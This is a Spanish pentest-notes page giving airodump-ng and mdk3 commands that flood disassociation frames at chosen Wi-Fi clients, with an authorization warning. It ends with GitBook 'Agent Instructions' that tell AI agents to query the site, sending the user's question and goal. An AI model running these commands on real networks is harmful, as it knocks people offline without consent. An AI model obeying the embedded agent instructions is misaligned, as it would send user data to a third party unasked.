> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/hacking-wifi/wpa-wpa2-psk-network-attacks/client-disruption-tests/disassociation-amok-mode-attack.md).
# Ataque en modo amok de desasociación
Prueba el comportamiento de desasociación inalámbrica dirigido durante una evaluación acotada.
Esta es una prueba de desasociación dirigida. Use listas permitidas o listas de bloqueo para definir las estaciones cliente incluidas en la prueba autorizada.
{% hint style="warning" %}
Ejecute esta prueba contra equipos que le pertenezcan o para los que esté autorizado a realizar una evaluación. Las tramas de desasociación interrumpen la conectividad de los clientes inalámbricos.
{% endhint %}
### Capturar la red objetivo
Inicie Airodump-ng en el canal y punto de acceso objetivo:
{% code overflow="wrap" %}
```bash
airodump-ng --channel 4 -w CAPTURE --bssid 70:4F:57:CA:D9:73 wlan0mon
```
{% endcode %}
### Crear la lista de bloqueo de clientes
En una terminal separada, cree un `lista negra` archivo. Añada las direcciones MAC de las estaciones que se incluirán:
{% code overflow="wrap" %}
```bash
46:E9:89:14:07:36
48:A4:72:04:F3:4E
```
{% endcode %}
### Ejecutar la prueba acotada
Use `mdk3` con la lista de bloqueo en el canal 4:
{% code overflow="wrap" %}
```bash
mdk3 wlan0mon d -w blacklist -c 4
```
{% endcode %}
La herramienta envía tramas de desasociación repetidamente. Es posible que los dispositivos enumerados se desconecten aproximadamente cada tres segundos.
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.
Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:
```
GET https://hacking-notes.jord4n.pro/es/hacking-wifi/wpa-wpa2-psk-network-attacks/client-disruption-tests/disassociation-amok-mode-attack.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
